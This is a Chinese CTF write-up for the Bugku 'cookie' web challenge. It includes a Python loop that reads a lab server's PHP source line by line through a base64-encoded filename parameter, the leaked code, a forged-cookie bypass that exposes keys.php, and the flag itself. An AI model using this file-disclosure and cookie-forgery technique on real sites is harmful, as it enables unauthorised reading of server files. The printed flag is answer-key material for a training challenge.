Bugku-cookie

Bugku-cookie

目录

题目描述

cookie

时间:2023年9月9日

类型:Web cookie base64

WP

提取信息

发现get传参给变量filename了一个base64加密数据,解码后为key.txt,将字符串“index.php”base64编码后传给filename变量,再改变line的值来遍历主页源码,编写简易脚本跑一下

import requests

content = ""
for i in range(20):
    res = requests.get(f"http://114.67.175.224:10668/index.php?line={i}&filename=aW5kZXgucGhw")
    content += res.content.decode()
print(content)

得到源码

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
 
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
 
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
代码分析
  • 页面读取是先用了base64 decode再访问的,同时还会检查该页面在不在访问列表中。所以我们要将要访问的页面进行base64编码之后再传参,同时要注意访问文件是否在访问列表中
  • 当获取到cookie margin为’margin’时,会将keys.php页面放入到访问列表中

所以我们需要构造一个 cookie,使我们有访问keys.php的权限,再将keys.php进行base64编码为a2V5cy5waHA=

得到flag

flag{19094366b35e73f3bbd691ce7eab7a1c}

在这里插入图片描述

总结

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值